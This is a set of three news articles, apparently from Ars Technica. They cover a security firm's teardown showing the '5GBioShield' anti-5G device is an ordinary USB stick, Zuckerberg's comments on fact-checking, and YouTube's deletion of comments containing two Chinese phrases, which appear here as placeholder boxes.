As noted by the BBC today, the “5GBioShield” USB stick “was recommended by a member of Glastonbury Town Council’s 5G Advisory Committee, which has called for an inquiry into 5G.” The company that sells 5GBioShield claims it “is the result of the most advanced technology currently available for balancing and prevention of the devastating effects caused by non-natural electric waves, particularly (but not limited to) 5G, for all biological life forms.”

The product’s website charges £283 for a single 5GBioShield, which converts to nearly $350. That’s what it costs to get “protection for your home and family, thanks to the wearable holographic nano-layer catalyser, which can be worn or placed near to a smartphone or any other electrical, radiation or EMF

emitting device."

"The 5GBioShield makes it possible, thanks to a uniquely applied process of quantum nano-layer technology, to balance the imbalanced electric oscillations arising from all electric fog induced by all devices such as: laptops, cordless phones, wlan, tablets, etc.," the company says, adding that the USB stick "brings balance into the field at the atomic and cellular level restoring balanced effects to all harmful (ionized and non-ionized) radiation."

The USB stick apparently doesn't need to be plugged in to anything to work its magic. "It is always ON and working—that's why we used quantum nano-layer technology," the company says in an FAQ.

But the device allegedly produces a wider field of protection when it is plugged in. To answer the question of whether the stick needs to be "charged regularly," the FAQ says, "No—the input charge only expands the field effect from 4m radius to 20m + radius when plugged into an USB wall charger or a computer."

Fortunately, you can use 5GBioShield without disabling your Wi-Fi. The USB key doesn't block Wi-Fi signals, the company says. Instead, the product "transmutes" the signals and "harmonizes all harmful frequencies into life affirming frequencies."

Teardown confirms: It's just a USB stick

But what does the 5GBioShield actually consist of? The BBC pointed to a recent teardown by security company Pen Test Partners, which found that the device is just a USB stick with 128MB of storage. The company wrote:

> *When plugged in to our test machine we may have missed the*

> *bubble of "quantum holographic catalyzer technology" appearing.*
>
> *The stick comes loaded with a 25 page PDF version of the material from 5GBioShield's website. It included a Q&A of distances for the "bubble" and how to know if it is working. It's an "always on" system apparently, is always working, powered or not, so no visual checks needed.*
>
> *A review of the stick's properties revealed nothing more than what you'd expect from a regular 128MB USB key. We weren't even sure that 128s are still in production!*

Ultimately, "the 5G BioShield is nothing more than a £5 USB key with a sticker on it," the people at Pen Test wrote. "Whether or not the sticker provides £300 worth of quantum holographic catalyzer technology we'll leave you to decide."

Pen Test Partners said that "trading standards bodies should investigate this product," and that is apparently now happening. "London Trading Standards has since told the BBC it has launched a probe," the BBC article said.

Here's a look at images from the 5GBioShield website and the teardown performed by Pen Test Partners:

- The anti-5G USB sticks are sold singly or in a pack of three at a slight discount.
- 5GBioShield's website shows how the product can change your "aura radiation."
  5GBioShield
- A less technical explanation for how 5GBioShield works.
  5GBioShield
- 5GBioShield apparently surrounds your whole house in a healthy aura.
  5GBioShield
- Here's the 5GBioShield tested by Pen Test Partners.

- Another shot of the 5GBioShield from Pen Test Partners.
- Pen Test Partners peeled off this sticker but didn't find anything unusual underneath.
- Teardown confirms: It's just a USB stick.

Company says research too sensitive to disclose

How will the company defend itself? BioShield Distribution Director Anna Grochowalska told the BBC, "We are in possession of a great deal of technical information, with plenty of back-up historical research," and "we are not authorized to fully disclose all this sensitive information to third parties, for obvious reasons."

Grochowalska also disputed the analysis that the USB stick is worth just £5:

> *"In regard to the costs analysis your research has produced, I believe that the lack of in-depth information will not drive you to the exact computation of our expenses and production costs, including the cost of IP [intellectual property rights], and so on," she said.*
>
> *"It is therefore hard to take your evaluation seriously, since you have evidently not researched the background facts in any meaningful way."*

One person who does take 5GBioShield claims seriously is Toby Hall, one of the members of the Glastonbury Town Council's 5G Advisory Committee. Hall told the BBC that he "felt a 'calmer' feel to the home" when using 5GBioShield. Hall said "he had no regrets about buying it and since plugging it in had felt beneficial effects, including being able to sleep through the night and having more dreams," the BBC wrote.

Hall also “thought the company might be able to develop a system that could offer protection to the whole town of Glastonbury against the effects of radiation from electromagnetic fields,” according to the BBC.

Anti-5G conspiracy theories recently expanded to include claims that the cellular technology spreads coronavirus, leading to loons burning cell towers. As Ars Science Editor John Timmer explained in a previous story, “Radiofrequency radiation is relatively low energy, and it can’t break chemical bonds. Like the nearby microwave frequencies, it can heat tissues. But we’re not aware of any mechanisms beyond heating by which radiation at these wavelengths can damage human tissue. And… there’s no evidence at the population level that indicates that radiation from these sources poses any sort of risk.”

5GBioShield “normalized my energy”

The 5GBioShield website contains a list of testimonials from people who allegedly exist and are using the product to cure all sorts of health problems. “Thank you soo much !!! After just three days of the BioShield in my house, my brain fog and fatigue are gone, and I feel like I have 100% more energy,” a testimonial from “Edward” said.

“I don’t know if it is a placebo effect or not, but I have a growing feeling of well being that comes directly from my instinctual survival drive deep in my belly center,” Jim wrote.

Although the product maker says the device works without being plugged in, some of its users seem to think otherwise. “One minute and a half after I plugged it [in], I felt something wrong disappeared in the air,” Daniela wrote.

Chris, who called 5GBioShield an “incredible product,” is quoted as saying, “I noticed my field reaching coherence and

eliminating the frantic energy. Most importantly it has enabled me to access a higher vibration and help the pineal gland. I am more intentional, and in touch with others on a non verbal level. Where I live there is wifi and 4-g everywhere, and your bio shield is making it bearable. All of you who have developed this have done an incalculable service to humanity."

Someone identified only as "Dr D" claims to be a medical doctor and said they "put one USB device under my pillow, expecting nothing to happen." But later, Dr D reported feeling "a strange 'tingling' feeling… I suspect the USB device has in some way normalized my energy to be as it should, and not negative or harmful."

5GBioShield can also help dogs sleep in later, apparently. Cathy, who reports having "severe electro sensitivity," plugged the USB stick into her laptop before going to bed and said, "The next morning the dog I was looking after only woke when I appeared at 10am, instead of between 6 and 7, and he was still sleepy. This has never happened in the 7 years I've known him."

Cathy herself was profoundly affected by the 5GBioShield, saying that the product restructured reality itself. "The first night just before going to sleep I felt an increasingly deep sense of relaxation as if I was sinking down into something," Cathy wrote. "As this went deeper I experienced the understanding that reality was being restructured at a very deep level."

https://arstechnica.com/?p=1679518

Zuckerberg dismisses fact-checking after bragging about fact-checking

Enlarge / Facebook CEO Mark Zuckerberg testifying before Congress in April 2018. It wasn’t his only appearance in DC this decade.

reader comments

121 with 85 posters participating

Share this story

Almost exactly two weeks ago, Facebook CEO Mark Zuckerberg was touting the success his platform has had with fact-checking and false-content warnings on posts. This week, however, Zuckerberg told Fox News that, really, he doesn’t think Facebook should be in the fact-checking business at all.

“I just believe strongly that Facebook shouldn’t be the arbiter of truth of everything that people say online,” Zuckerberg said in an interview with Dana Perino. “Private companies probably shouldn’t be, especially these platform companies, shouldn’t be in the position of doing that.”

The comments come amid a renewed debate about fact-checking on social media as Twitter and its most famous user, President Donald Trump, find themselves at odds. Twitter appended a fact-check notice—its first—to two Trump tweets relating to mail-in ballot fraud. In retaliation, Trump is expected to sign a new executive order as soon as today explicitly targeting Facebook’s and Twitter’s ability to fact-check, restrict, or otherwise manage content.

Zuckerberg has been reasonably consistent in making sure to leave large carve-outs in site policy for politicians, including the president. Last year, Facebook made clear that its community standards—including hate speech and abuse rules as well as fact-checking policies—do not apply to politicians or other newsworthy figures. The company has also said many times that political content and advertising does not need to be truthful, instead putting the onus on users to avoid lies or to recognize every time they are being lied to.

Even Facebook has a few standards, however, and those relate to election security and COVID-19. In March, the company removed a Trump campaign ad that spread misleading information about the 2020 US Census after reporters noticed and began to ask about the sponsored posts. Facebook also put a "partly false" label on a misleading video of Democratic presidential candidate Joe Biden shared by members of the Trump campaign.

Zuckerberg earlier this month bragged about the effectiveness of fact-checking as relating to the COVID-19 crisis. In a call, he told media that, in the month of April alone, Facebook's fact-checkers put 50 million warning labels on COVID-19 content shared to the platform. Those labels were super effective, he crowed: 95 percent of the time, viewers didn't click through to content that had been warned to be false.

Twitter CEO Jack Dorsey took to his own platform to rebut Zuckerberg's statement.

"We'll continue to point out incorrect or disputed information about elections globally," Dorsey said in a series of Tweets. "This does not make us an 'arbiter of truth.' Our intention is to connect the dots of conflicting statements and show the information in dispute so people can judge for themselves."

https://arstechnica.com/?p=1679513

We still don’t know why YouTube deleted phrases critical of Beijing

Enlarge / Google CEO Sundar Pichai speaks in Wuzhen, China, in 2017.

reader comments

5 with 4 posters participating

Share this story

YouTube says it has “rolled out a fix” for an “error in our enforcement systems” that had led to the automatic deletion of comments that included two phrases critical of China’s government. But in an email exchange and phone call with Ars Technica, a company spokeswoman declined to provide real details about why YouTube’s software was deleting the comments in the first place.

As I explained on Tuesday, “□□” means “communist bandit.” It was a derogatory term used by Nationalists during the Chinese Civil War that ended in 1949. It continues to be used by Chinese-speaking critics of the Beijing regime, including in Taiwan.

“□□” means “50-cent party.” It’s a derogatory term for people who are paid by the Chinese government to participate in online discussions and promote official Communist Party positions. In the early years of China’s censored Internet,

such commenters were allegedly paid 50 cents (in China's currency, the yuan) per post.

Until Tuesday, YouTube was automatically deleting any comment that includes these phrases. I confirmed the behavior myself on Tuesday morning. Comments containing either phrase would disappear in less than a minute, while other comments—including ones containing other Chinese phrases—stayed on the site.

Users have been reporting this behavior since late last year, with little response from YouTube. That changed on Tuesday when high-profile news sites—starting with The Verge—began covering the story. Within 24 hours of The Verge story appearing, YouTube had fixed the error.

And YouTube says that it *was* an error, not a deliberate policy decision. But not everyone is convinced.

"This purported 'error' follows a long, disturbing pattern of Google censoring content to try to gain favor with the Chinese Communist Party," Sen Josh Hawley (R-Mo.) wrote in a Wednesday letter to Google CEO Sundar Pichai. Hawley is one of many who suspect this was a deliberate policy decision—not just an innocent mistake.

The case for transparency

On Wednesday, I exchanged emails and talked on the phone with a YouTube spokeswoman. She seemed eager to help but wasn't able to offer me much detail. She said that YouTube relies on classifiers to decide which comments to delete and that YouTube's classifiers didn't take into account "the proper context." She said she wasn't able to provide more detail than that.

I'm sure this wasn't her fault. In a big company like Google, decisions about what to tell the press are made several levels

up from the people who actually talk to reporters like me. But I think Google as a company is making a mistake by being so secretive about this.

It seems plausible that there is an innocent explanation for YouTube's mistake. For example, maybe the phrases "□□" and "□□" appear frequently in heated arguments that include other abusive (but less political) Chinese phrases. It's easy to imagine an algorithm classifying them as abusive without appreciating the political ramifications of doing so—and without any of Google's human employees realizing it.

Alternatively, maybe people on the Chinese government's payroll figured out how to game YouTube's comment-moderation rules by flagging millions of comments critical of the Chinese government. Or maybe a low-level employee with Chinese government sympathies slipped the phrases into a list of banned phrases without the knowledge or approval of their bosses. It would be an easy thing to overlook in a company where the leadership mostly doesn't read Chinese.

Any of these explanations seem both more plausible and less damning than senior Google executives deliberately choosing to censor phrases to curry favor with Beijing. But if Google refuses to be transparent about how and why this error happened, a lot of people are going to assume the worst.

https://arstechnica.com/?p=1679185